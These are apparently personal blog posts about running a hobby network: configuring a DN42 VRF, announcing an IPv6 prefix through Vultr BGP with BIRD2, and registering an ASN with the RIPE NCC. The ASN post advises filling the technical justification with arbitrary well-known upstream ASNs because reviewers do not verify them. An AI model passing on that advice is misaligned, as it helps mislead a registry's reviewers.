/etc/bird/dn42/ebgp.conf ... template bgp dnpeers { + vrf "dn42-vrf"; + router id DN42_OWNIP; local as DN42_OWNAS; path metric 1; ipv4 { + table dn42_table_v4; ... }; ipv6 { + table dn42_table_v6; ... }; } include "peers/*"; After completion, reload the configuration with birdc c. Now, we can view the DN42 routing table separately using ip route show vrf dn42-vrf: root@iYoRoyNetworkHKGBGP:~# ip route show vrf dn42-vrf 10.26.0.0/16 via inet6 fe80::ade0 dev dn42_4242423914 proto bird src 172.20.234.225 metric 32 10.29.0.0/16 via inet6 fe80::ade0 dev dn42_4242423914 proto bird src 172.20.234.225 metric 32 10.37.0.0/16 via inet6 fe80::ade0 dev dn42_4242423914 proto bird src 172.20.234.225 metric 32 ... You can also ping through the VRF using the -I dn42-vrf parameter: root@iYoRoyNetworkHKGBGP:~# ping 172.20.0.53 -I dn42-vrf ping: Warning: source address might be selected on device other than: dn42-vrf PING 172.20.0.53 (172.20.0.53) from 172.20.234.225 dn42-vrf: 56(84) bytes of data. 64 bytes from 172.20.0.53: icmp_seq=1 ttl=64 time=3.18 ms 64 bytes from 172.20.0.53: icmp_seq=2 ttl=64 time=3.57 ms 64 bytes from 172.20.0.53: icmp_seq=3 ttl=64 time=3.74 ms 64 bytes from 172.20.0.53: icmp_seq=4 ttl=64 time=2.86 ms ^C --- 172.20.0.53 ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 3006ms rtt min/avg/max/mdev = 2.863/3.337/3.740/0.341 ms Important Notes If the VRF device is reloaded, all devices originally associated with the VRF need to be reloaded as well, otherwise they won't function correctly. Currently, DN42 cannot access services inside the host configured with VRF. A future article might explain how to allow traffic within the VRF to access host services (Adding to the TODO list). Reference Articles:： Run your MPLS network with BIRD

OneManISP - Ep.2 Announcing Our Own IP Prefix to the World Preface In the previous article, we successfully registered an ASN and obtained an IPv6 address block. Now, we will announce this block to the world. Setting Up the Subnet Object in the RIPE Database It's important to note that the minimum IPv6 prefix allowed for announcement on the public internet is /48. This means if you only have a single /48 block, you cannot break it down into smaller segments. Therefore, I later leased a separate /40 block, intending to split it into multiple /48s for announcement. The IPv6 block I obtained is 2a14:7583:f200::/40, and I plan to split out 2a14:7583:f203::/48 for use with Vultr. If you don't need to split your block, please skip directly to the "Creating the Route Object" section. Splitting the Prefix First, go to Create "inet6num" object - RIPE Database and fill in the following: inet6num: The IP block you want to split out, in CIDR format. netname: Network name. country: The country to which the IP block belongs, must conform to the ISO 3166 standard (can be selected directly in the RIPE DB). admin-c: The primary key value of the Role object created earlier. tech-c: The primary key value of the Role object created earlier. status: Keep ASSIGNED This step splits a smaller /48 address block from your obtained allocation. Creating the Route Object Go to Create "route6" object - RIPE Database and fill in the following: route6: The IPv6 address block you intend to announce, in CIDR format. origin: The ASN you applied for, including the 'AS' prefix. This step declares that your ASN is permitted to use this address block for originating BGP routes. Applying for BGP Session with a VPS Provider This time I'm using a machine from Vultr. Their BGP Session setup is very beginner-friendly, with their own validation system. Furthermore, their upstream has good filters ensuring that incorrect route advertisements generally won't affect the public internet. (I forgot to take screenshots during my configuration, but you can refer to the section 申请 Vultr 的 BGP 广播功能 in Bao Shuo's article 年轻人的第一个 ASN for reference.) Go to BGP - Vultr.com, select Get Started, and fill in your ASN and IPv6 block information as required. For the LOA (Letter Of Authorization), you can refer to this template: LOA-template.docx (I rewrote one for individuals as most templates found online are for companies). After submission, the system will automatically create a ticket, and you will see your ASN and IP block in a pending verification state: Click Start, and the system will send a verification email to the abuse-mailbox email address registered with your Role object: The received email looks like this: The top link represents approving the authorization for Vultr to announce your IP block, and the bottom one is for disapproval. Click the top link, which will take you to Vultr's webpage: Then click Approve Announcement. Both the ASN and the IP block need to be verified once. Next, wait for the Vultr staff to review and complete the process. Then, in your VPS control panel, you will see the BGP tab, where you can find the upstream information: I must commend Vultr's ticket efficiency here; it took me an average of only about 10 minutes from creating the ticket requesting authorization to completion. (In contrast, the average weekday ticket response time at iFog GmbH was around 1 day, which is much slower in comparison). The process with other VPS providers is generally similar. You need to inform their staff of the ASN and IP block you want to announce. After verifying ownership, the staff will configure the corresponding BGP Session for you. Advertisement! You should have received the following information from your upstream: Upstream's ASN Upstream's IP address for the BGP Session (Optional) Password The operating system I use is Debian 12 Bookworm, using Bird2 as the routing software. I updated Bird2 to the latest version following the section "Update Bird2 to v2.16 or above" in this article. The upstream ASN Vultr gave me is 64515, the upstream BGP Session address is 2001:19f0:ffff::1, and the VPS's BGP Session address is 2001:19f0:0006:0ff5:5400:05ff:fe96:881f. My Bird2 configuration file is modified from the configuration file used in DN42: log syslog all; define OWNAS = 205369; define OWNIPv6 = 2a14:7583:f203::1; define OWNNETv6 = 2a14:7583:f203::/48; define OWNNETSETv6 = [ 2a14:7583:f203::/48+ ]; router id 45.77.x.x; protocol device { scan time 10; } function is_self_net_v6() { return net ~ OWNNETSETv6; } protocol kernel { scan time 20; ipv6 { import none; export filter { if source = RTS_STATIC then reject; krt_prefsrc = OWNIPv6; accept; }; }; }; protocol static { route OWNNETv6 reject; ipv6 { import all; export none; }; } template bgp upstream { local as OWNAS; path metric 1; multihop; ipv6 { import filter { if net ~ [::/0] then reject; accept; }; export filter { if is_self_net_v6() then accept; reject; }; import limit 1000 action block; }; graceful restart; } protocol bgp 'Vultr_v6' from upstream{ local 2001:19f0:0006:0ff5:5400:05ff:fe96:881f as OWNAS; password "123456"; neighbor 2001:19f0:ffff::1 as 64515; } A few noteworthy points: The import rule in the upstream template here rejects the default route. This prevents the routing table sent by the upstream from overwriting local default gateway routes and other routing information. If we have multiple BGP neighbors, this could cause detours or even routing loops. The upstream template specifies multihop (multihop;) because Vultr's BGP peer is not directly reachable. Without setting multihop, the BGP session would get stuck in the Idle state. If your BGP upstream is directly connected, you can omit this line or set it to direct;. After filling in the configuration file, run birdc configure to load the configuration. Run birdc show protocols to check the status. If all goes well, you should see the BGP session state as Established: At this point, you can take a break and wait for global routing convergence. After about half an hour, open bgp.tools and query your /48 block. You should see that it has been successfully received by the global internet, and you can see our upstream information: Next, we create a dummy interface on the VPS and assign a single IPv6 address from the block allocated for this machine. For example, I assigned 2a14:7583:f203::1 to my machine: ip link add dummy0 type dummy ip addr add 2a14:7583:f203::1/128 dev dummy0 Then, using your own PC, you should be able to ping this address, and traceroute will show the complete routing path: Thanks to Mi Lu for the technical support! Reference Articles: 自己在家开运营商 Part.2 - 向世界宣告 IP 段 (BGP Session & BIRD) 年轻人的第一个 ASN - 宝硕博客 BGPlayer 从零开始速成指北 - 开通 Vultr 的 BGP 广播功能 - AceSheep BGP (2) 在 Vultr 和 HE 使用自己的 IPV6 地址 - 131's Blog

OneManISP - Ep.1 Registering an ASN Introduction This article documents my complete process of applying for an ASN through the RIPE NCC. The content is suitable for beginners. If you find any errors, please feel free to contact me via email, and I will correct them promptly. Now that I've learned the basic BGP concepts on DN42, it seems a bit of a waste not to play with the public internet, right? Basic Concepts Currently, the allocation of public ASN and IP resources is managed by five Regional Internet Registries (RIRs) worldwide: ARIN: Manages the North American region. RIPE NCC: Manages the European region. APNIC: Manages the Asia-Pacific region. LACNIC: Manages the Latin American region. AfriNIC: Manages the African region. RIRs do not provide services directly to end users. Instead, they allocate resources to Local Internet Registries (LIRs), which then assign them to end users. Of course, individual users can also register as an LIR, but this is generally not cost-effective. If you're willing to pay thousands of dollars in annual fees, then forget I said that. Among these, RIPE NCC is considered more friendly towards individual applications, followed by ARIN and APNIC. Compared to RIPE NCC, APNIC's fees are generally about 30% higher. Furthermore, RIPE NCC provides an online management system allowing users to modify information and check progress themselves, whereas with APNIC, you typically need to contact an LIR for changes. Overall, I chose to apply for an ASN through the RIPE NCC. The resources obtained (both ASN and IPs) are generally categorized into two types: PA (Provider Aggregatable) Resources: Belong to the LIR and are assigned for your use by the LIR. PI (Provider Independent) Resources: Belong to you directly. These are generally more expensive. Preparation Stage Choosing an LIR Search online for LIR Service to find many companies offering such services. Currently, RIPE NCC charges an annual administrative fee of 50 EUR for PI resources. This means the cost from an LIR for registering an ASN generally won't be lower than 50 EUR per year (approximately 60 USD at the time of writing). Here, I chose NoPKT LLC, recommended by peers. Their pricing is quite reasonable and includes a /48 block of PA IPv6 addresses with the ASN. The activation speed was also very fast – it only took half a day from submitting the required documents to getting the ASN. Preparing Documents Proof of Identity Individual: Provide an ID card or passport (I submitted photos of the front and back of my national ID card). Company: Provide a valid business license. If the applicant is a minor, usually written consent from their legal guardian is required, and the guardian must fulfill corresponding responsibilities. All submitted documents must be authentic and valid, and should be originals or notarized copies. Contact Information Postal Address: Used for registration in the RIPE Database. Technical Contact Email. Abuse Contact Email. Technical Justification Billing from a BGP-capable provider within the European region. Options include Vultr, BuyVM, iFog, V.PS, etc. Note: Vultr uses a post-payment system, generating invoices at the beginning of the month. If you need the documents ready quickly, consider other providers. ASNs of two upstream providers you plan to connect to. (In practice, the reviewers won't strictly verify the specific upstream ASNs you list. Therefore, you can fill in common, publicly known ASNs to make it look reasonable. Don't overthink it too much. You can even put mine.) Registering a RIPE DB Account and Creating Objects Go to the RIPE Database and register an account. For Chinese, it's recommended to use the 拼音(Pinyin) of your real legal name. Enabling 2FA is mandatory, so please install a TOTP app on your phone beforehand. Creating a Role Object and Maintainer Object Go to Create role and maintainer pair - RIPE Database to create a role object. Here, a 'role' is an abstract concept describing the contact information for a team, department, or functional role – it represents a role, such as NOC (Network Operations Center), Abuse Team, Hostmaster, etc. mntner: The identifier for the maintainer object. It can contain uppercase/lowercase letters, numbers, and -_. For example, I used IYOROY-MNT. role: The name for the role object. It can contain uppercase/lowercase letters, numbers, and ][)(._"*@,&:!'+/-. For example, I used IYOROY-NETWORK-NOC. address: The office address for this role. e-mail: The email address for this role. Click SUBMIT after filling out the form to create both the role object and the maintainer object. Please note the returned primary key name, which usually ends with -RIPE. You will need this for future modifications and submissions to the LIR. The maintainer object identifier here is conceptually different from the role object. The maintainer signifies who has the authority to maintain (create/modify/delete) objects in the database – it's the maintaining entity. The relationship between different concepts in the RIPE Database can be referenced in the diagram later in the article. Adding an Abuse Contact Mailbox Go to Query - RIPE Database and search for the primary key of the role you just created. You should find the entry you created. Click "Update Object" on the right. Click the plus sign (+) next to the email field to add an abuse-mailbox attribute and fill in your abuse contact email address: Click SUBMIT to save. Note: RIPE periodically checks if the abuse-mailbox is functional. Please ensure you provide a real, active email address. Creating an Organization Object The Organization object here is an abstraction of a legal entity or organization (company, university, ISP, individual user, etc.). It serves as the top-level ownership information for resource objects (like aut-num, inetnum, inet6num) in the RIPE Database. This means subsequent ASN and IP resources will be assigned to this Organization object. Go to Create Organization - RIPE Database and fill in the following information: organisation: A unique ID. Keep it as the default AUTO-1 to let RIPE NCC assign one. org-name: The name of the organization. For Chinese individuals, use your full name in Pinyin. address: Postal address. country: Country code, refer to ISO 3166. For China, use CN. e-mail: The organization's email address. admin-c / tech-c: Administrative and technical contact objects (referencing the role handle). abuse-c: Specifies the abuse contact (must be a role object linked to the abuse-mailbox in that role). mnt-ref: Specifies which maintainer(s) can create objects referencing this organisation. mnt-by: Specifies who can maintain this organisation object itself. Click SUBMIT after filling out the form and note the returned object identifier, which follows a format like ORG-XXXX-RIPE. If you need to make changes after submission, go to Query - RIPE Database and search for the previously noted Role primary key or the Organization object identifier to find the update option. Paying the LIR Fee and Submitting Documents Submit the following documents to your chosen LIR: Proof of Identity Full Name Address (recommended to match your ID document) Photos of the front and back of your ID card RIPE Database Information org: Organization object identifier as-name: AS Name admin-c: Primary key of the role object created earlier tech-c: Primary key of the role object created earlier abuse-c: Primary key of the role object created earlier nic-hdl: Primary key of the role object created earlier mnt-by: Name of the maintainer object created earlier Technical Justification VPS Bill/Invoice Upstream ASNs The LIR will likely ask you to add a mnt-ref attribute to your Organization object, pointing to the LIR's maintainer. This allows the LIR to assign the AS and IP resources to your Organization. Once the LIR reviews and approves your application, they will submit the request to RIPE. Then, it's a waiting game. Generally, it takes 3-5 working days to get your ASN. At this point, we have successfully registered our own ASN on the public internet. Supplement: Relationships Between Concepts in the RIPE Database graph LR %% ========== ORG Layer ========== subgraph Org["Organisation"] ORG["organisation\n(ORG-XXX-RIPE)"] end %% ========== Resource Layer ========== subgraph Resource["Resources"] INETNUM["inetnum\n(IPv4 Block)"] INET6NUM["inet6num\n(IPv6 Block)"] AUTNUM["aut-num\n(ASN)"] ASSET["as-set\n(ASN Set)"] end %% ========== Routing Layer ========== subgraph Routing["Routing"] ROUTE["route\n(IPv4 Route Announcement)"] ROUTE6["route6\n(IPv6 Route Announcement)"] end %% ========== Contact Layer ========== subgraph Contact["Contacts"] ROLE["role\n(Team/Function)\nnic-hdl"] PERSON["person\n(Individual)\nnic-hdl"] end %% ========== Authorization Layer ========== subgraph Maintainer["Authorization"] MNT["mntner\n(Maintainer)"] end %% ========== Contact Links ========== INETNUM --> ROLE INET6NUM --> ROLE AUTNUM --> ROLE ASSET --> ROLE ROUTE --> ROLE ROUTE6 --> ROLE ROLE --> PERSON %% ========== Organization Assignment ========== ORG --> INETNUM ORG --> INET6NUM ORG --> AUTNUM ORG --> ASSET %% ========== Authorization ========== ORG --> MNT INETNUM --> MNT INET6NUM --> MNT AUTNUM --> MNT ASSET --> MNT ROUTE --> MNT ROUTE6 --> MNT ROLE --> MNT PERSON --> MNT %% ========== Route Binding ========== ROUTE -->|origin| AUTNUM ROUTE6 -->|origin| AUTNUM %% ========== Route Scope ========== ROUTE -->|belongs to| INETNUM ROUTE6 -->|belongs to| INET6NUM Special thanks to Mi Lu for providing technical support and answering questions! Reference Articles: 自己在家开运营商 Part.1 - 注册一个 ASN - LYC8503 从0开始注册一个ASN并广播IP | Pysio's Home 青年人的第一个运营商：注册一个 ASN | liuzhen932 的小窝